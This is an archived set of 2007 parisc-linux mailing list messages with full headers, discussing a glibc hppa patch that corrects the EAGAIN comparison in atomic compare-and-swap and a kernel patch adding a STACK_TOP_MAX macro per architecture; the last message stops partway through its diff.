Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap
Date: Mon, 21 May 2007 15:04:38 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200705211904.l4LJ4dh5027982__44099.9417951845$1416624359$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440705211130w461d0f4fn3bf2833f40f58e60@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624359 23839 80.91.229.3 (22 Nov 2014 02:45:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:59 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 May 2007 19:04:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 21 May 2007 21:04:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CAFE7DD48;
	Mon, 21 May 2007 13:04:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06858-05; Mon, 21 May 2007 13:04:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F58E7DD3C;
	Mon, 21 May 2007 13:04:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6D4F7DD3E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 13:04:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06858-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 13:04:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 17AED7DD3C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 13:04:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l4LJ4eeh027989;
	Mon, 21 May 2007 15:04:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l4LJ4dh5027982;
	Mon, 21 May 2007 15:04:39 -0400 (EDT)
In-Reply-To: <119aab440705211130w461d0f4fn3bf2833f40f58e60@mail.gmail.com>
	from "Carlos O'Donell" at May 21, 2007 02:30:34 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a99oc1A8eWU7l7eUfHVzV7c5U3U4N49w
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24547

> > Yah, this just occurred to me.  It would be nice if the code could
> > use EAGAIN from errno.h but I can see that that's a bit tricky.
> > Possibly, a macro argument would work.
> 
> I don't want to be at the *whim* of users who might redefine EAGAIN. I
> think the value should be fixed and immutable.

Users who redefine names reserved by POSIX should be lined up and ...

You are quite safe in fixing the value as any change in the error
number for EAGAIN would break binaries that check for this code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fix the atomic compare and swap function on
	hppa
Date: Sun, 20 May 2007 03:52:15 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20070520015215.GA26949__14474.4328725666$1416624359$gmane$org@amd64.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624359 23845 80.91.229.3 (22 Nov 2014 02:45:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: libc-ports@sourceware.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 May 2007 01:52:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 20 May 2007 03:52:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B380A7DCA2;
	Sat, 19 May 2007 19:52:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19887-07; Sat, 19 May 2007 19:52:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75CA47DCA3;
	Sat, 19 May 2007 19:52:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11F297DC99
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 19:52:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19887-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 19:52:16 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 2B63F7DC94
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 19:52:16 -0600 (MDT)
Original-Received: from amd64.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:1009])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@amd64.aurel32.net>)
	id 1Hpaam-0006aJ-14; Sun, 20 May 2007 03:52:16 +0200
Original-Received: from aurel32 by amd64.aurel32.net with local (Exim 4.67)
	(envelope-from <aurel32@amd64.aurel32.net>)
	id 1Hpaal-00026N-Jk; Sun, 20 May 2007 03:52:15 +0200
Content-Disposition: inline
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6Zt9dVxGPTRtyejGPjIwXnYxc2tpZAvG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24548

Hi,

I have finally tracked down the "error while loading shared libraries: 
internal error: symidx out of range of fptr table" problem. 

It comes from a bug in atomic.h, the errno number is compared with the
wrong value. The kernel returns -EAGAIN (ie -11), but the value in the
cmpib instruction is EAGAIN (11).

The patch below fixes the problem.

Bye,
Aurelien


2007-05-20  Aurelien Jarno  <aurelien@aurel32.net>

	* sysdeps/unix/sysv/linux/hppa/bits/atomic.h: check for
	-EAGAIN instead of EAGAIN.

--- ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h.orig	2007-05-20 03:28:39.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h	2007-05-20 03:24:41.000000000 +0200
@@ -56,7 +56,7 @@
 #define LWS_CAS "0"
 /* Note r31 is the link register */
 #define LWS_CLOBBER "r1", "r26", "r25", "r24", "r23", "r22", "r21", "r20", "r28", "r31", "memory"
-#define ASM_EAGAIN "-11" 
+#define ASM_EAGAIN "11" 
 
 #if __ASSUME_LWS_CAS
 /* The only basic operation needed is compare and exchange.  */

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap
	function on hppa
Date: Tue, 22 May 2007 12:20:31 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <4652C3EF.3020905__42952.8366345496$1416624360$gmane$org@aurel32.net>
References: <20070520015215.GA26949@amd64.aurel32.net>	<20070520015653.GA22224@amd64.aurel32.net>
	<119aab440705200822vcfe3dd2ud542783a4ac2c3c8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624360 23849 80.91.229.3 (22 Nov 2014 02:46:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:00 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 May 2007 10:21:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 22 May 2007 12:21:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7D257DD57;
	Tue, 22 May 2007 04:20:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11935-10; Tue, 22 May 2007 04:20:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FDBF7DD58;
	Tue, 22 May 2007 04:20:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8B1A7DD50
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 04:20:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12177-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 04:20:48 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 0967D7DD48
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 04:20:48 -0600 (MDT)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by mail.aurel32.net with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1HqRTu-0003gp-ND; Tue, 22 May 2007 12:20:42 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070329)
In-Reply-To: <119aab440705200822vcfe3dd2ud542783a4ac2c3c8@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WqEgZgkQeSE5j76WZHQhzCJ2IGRvb4Ah
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24549

Carlos O'Donell a crit :
> On 5/19/07, Aurelien Jarno <aurelien@aurel32.net> wrote:
>> 2007-05-20  Aurelien Jarno  <aurelien@aurel32.net>
>>
>>         * sysdeps/unix/sysv/linux/hppa/bits/atomic.h: check for
>>         -EAGAIN instead of EAGAIN.
>>
>> --- ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h.orig       2007-05-20 03:28:39.000000000 +0200
>> +++ ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h    2007-05-20 03:24:41.000000000 +0200
>> @@ -56,7 +56,7 @@
>>  #define LWS_CAS "0"
>>  /* Note r31 is the link register */
>>  #define LWS_CLOBBER "r1", "r26", "r25", "r24", "r23", "r22", "r21", "r20", "r28", "r31", "memory"
>> -#define ASM_EAGAIN "11"
>> +#define ASM_EAGAIN "-11"
>>
>>  #if __ASSUME_LWS_CAS
>>  /* The only basic operation needed is compare and exchange.  */
> 
> Aurelian,
> 
> Good catch! I applaud your effort! I'll test the patch this week and
> get it into cvs.
> 
> If the kernel is returning EAGAIN it means there are multiple threads
> calling LWS CAS on addresses whose hash selects the same kernel
> spinlock (there is an array of 16 for minimal scalability). The kernel
> never spins and expects the caller to spin in userpace.
> 
> The verified the original test code I wrote does check for "-11", and
> I did run the kernel tests on an SMP machine with multiple threads, so
> I know that LWS CAS works on SMP.

Well we still have a problem, the failure occurs less often, but still
sometimes. Apparently it is cause by the kernel returning -EDEADLOCK.
How should that be handled? The same way as -EAGAIN?

Cheers,
Aurelien

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [patch] removes MAX_ARG_PAGES
Date: Tue, 22 May 2007 14:24:05 +0200
Lines: 531
Approved: news@gmane.org
Message-ID: <1179836645.7019.86.camel__35817.6436777741$1416624360$gmane$org@twins>
References: <617E1C2C70743745A92448908E030B2A01719390@scsmsx411.amr.corp.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="=-AD3gMpMUuQSfYMFUfxVH"
X-Trace: ger.gmane.org 1416624360 23852 80.91.229.3 (22 Nov 2014 02:46:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:00 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 Andrew Morton <akpm@osdl.org>,
 linux-kernel@vger.kernel.org,
 Andi Kleen <ak@suse.de>,
 linux-mm@kvack.org,
 Ollie Wild <aaw@google.com>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 May 2007 12:24:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 22 May 2007 14:24:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 185B97DD58;
	Tue, 22 May 2007 06:24:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13387-08; Tue, 22 May 2007 06:24:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71A787DD59;
	Tue, 22 May 2007 06:24:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A03667DD57
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 06:24:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13387-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 06:24:09 -0600 (MDT)
Original-Received: from viefep34-int.chello.at (viefep18-int.chello.at [213.46.255.22])
	by free.linux.hp.com (Postfix) with ESMTP id 342DB7DD53
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 06:24:09 -0600 (MDT)
Original-Received: from [192.168.0.111] (really [62.195.55.87])
	by viefep34-int.chello.at
	(InterMail vM.7.08.02.00 201-2186-121-20061213) with ESMTP
	id <20070522122406.IHHT26289.viefep34-int.chello.at@[192.168.0.111]>;
	Tue, 22 May 2007 14:24:06 +0200
In-Reply-To: <617E1C2C70743745A92448908E030B2A01719390@scsmsx411.amr.corp.intel.com>
X-Mailer: Evolution 2.10.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ytdgdzkdIyd11fqQe2drufpaa2FkZpUA
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24550


--=-AD3gMpMUuQSfYMFUfxVH
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Mon, 2007-05-07 at 10:46 -0700, Luck, Tony wrote:
> > We've tested the following architectures: i386, x86_64, um/i386,
> > parisc, and frv.  These are representative of the various scenarios
> > which this patch addresses, but other architecture teams should try it
> > out to make sure there aren't any unexpected gotchas.
> 
> Doesn't build on ia64: complaints from arch/ia64/ia32/binfmt_elf.c
> (which #includes ../../../fs/binfmt_elf.c) ...
> 
> arch/ia64/ia32/binfmt_elf32.c: In function `ia32_setup_arg_pages':
> arch/ia64/ia32/binfmt_elf32.c:206: error: `MAX_ARG_PAGES' undeclared (first use in this function)
> arch/ia64/ia32/binfmt_elf32.c:206: error: (Each undeclared identifier is reported only once
> arch/ia64/ia32/binfmt_elf32.c:206: error: for each function it appears in.)
> arch/ia64/ia32/binfmt_elf32.c:240: error: structure has no member named `page'
> arch/ia64/ia32/binfmt_elf32.c:242: error: structure has no member named `page'
> arch/ia64/ia32/binfmt_elf32.c:243: warning: implicit declaration of function `install_arg_page'
> make[1]: *** [arch/ia64/ia32/binfmt_elf32.o] Error 1
> 
> Turning off CONFIG_IA32-SUPPORT, the kernel built, but oops'd during boot.
> My serial connection to my test machine is currently broken, so I didn't
> get a capture of the stack trace, sorry.


Ok, I found the problem. IA64 places constraints on virtual address
space. We initially place the stack at TASK_SIZE, and once the binfmt
tells us where it should have gone, we move it down to the new location.

However IA64 has v-space carved up in regions, and the top of the user
accessible address space is reserved for hugetlbfs.

So we should be using STACK_TOP, which provides the highest stack
address, however, some arches have conditions in the STACK_TOP macros
such that the result is not what is expected until the binfmt
personality is set.

In order to solve this, I added a STACK_TOP_MAX macro for each arch and
use that. This made IA64 boot properly.

The second patch makes the compat stuff compile, untested though, as I
have no idea how that works on ia64.



--=-AD3gMpMUuQSfYMFUfxVH
Content-Disposition: attachment; filename=stack_top_max.patch
Content-Type: text/x-patch; name=stack_top_max.patch; charset=utf-8
Content-Transfer-Encoding: 7bit


New arch macro STACK_TOP_MAX it gives the larges valid stack address for
the architecture in question.

It differs from STACK_TOP in that it will not distinguish between personalities
but will always return the largest possible address.

This is used to create the initial stack on execve, which we will move down
to the proper location once the binfmt code has figured out where that is.

Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
---
 fs/exec.c                    |    2 +-
 include/asm-alpha/a.out.h    |    2 ++
 include/asm-arm/a.out.h      |    1 +
 include/asm-arm26/a.out.h    |    1 +
 include/asm-avr32/a.out.h    |    1 +
 include/asm-cris/a.out.h     |    1 +
 include/asm-frv/mem-layout.h |    1 +
 include/asm-h8300/a.out.h    |    1 +
 include/asm-i386/a.out.h     |    1 +
 include/asm-ia64/ustack.h    |    1 +
 include/asm-m32r/a.out.h     |    1 +
 include/asm-m68k/a.out.h     |    1 +
 include/asm-mips/a.out.h     |    1 +
 include/asm-parisc/a.out.h   |    1 +
 include/asm-powerpc/a.out.h  |    3 +++
 include/asm-s390/a.out.h     |    1 +
 include/asm-sh/a.out.h       |    1 +
 include/asm-sh64/a.out.h     |    1 +
 include/asm-sparc/a.out.h    |    1 +
 include/asm-sparc64/a.out.h  |    2 ++
 include/asm-um/a.out.h       |    2 ++
 include/asm-x86_64/a.out.h   |    3 ++-
 include/asm-xtensa/a.out.h   |    1 +
 23 files changed, 29 insertions(+), 2 deletions(-)

Index: linux-2.6-2/include/asm-alpha/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-alpha/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-alpha/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -101,6 +101,8 @@ struct exec
 #define STACK_TOP \
   (current->personality & ADDR_LIMIT_32BIT ? 0x80000000 : 0x00120000000UL)
 
+#define STACK_TOP_MAX	0x00120000000UL
+
 #endif
 
 #endif /* __A_OUT_GNU_H__ */
Index: linux-2.6-2/include/asm-arm/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-arm/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-arm/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -30,6 +30,7 @@ struct exec
 #ifdef __KERNEL__
 #define STACK_TOP	((current->personality == PER_LINUX_32BIT) ? \
 			 TASK_SIZE : TASK_SIZE_26)
+#define STACK_TOP_MAX	TASK_SIZE
 #endif
 
 #ifndef LIBRARY_START_TEXT
Index: linux-2.6-2/include/asm-arm26/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-arm26/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-arm26/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -29,6 +29,7 @@ struct exec
 
 #ifdef __KERNEL__
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 #endif
 
 #ifndef LIBRARY_START_TEXT
Index: linux-2.6-2/include/asm-avr32/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-avr32/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-avr32/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-cris/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-cris/a.out.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-cris/a.out.h	2007-05-22 12:39:27.000000000 +0200
@@ -8,6 +8,7 @@
 
 /* grabbed from the intel stuff  */   
 #define STACK_TOP TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 
 struct exec
Index: linux-2.6-2/include/asm-frv/mem-layout.h
===================================================================
--- linux-2.6-2.orig/include/asm-frv/mem-layout.h	2007-05-22 12:31:13.000000000 +0200
+++ linux-2.6-2/include/asm-frv/mem-layout.h	2007-05-22 12:39:27.000000000 +0200
@@ -60,6 +60,7 @@
  */
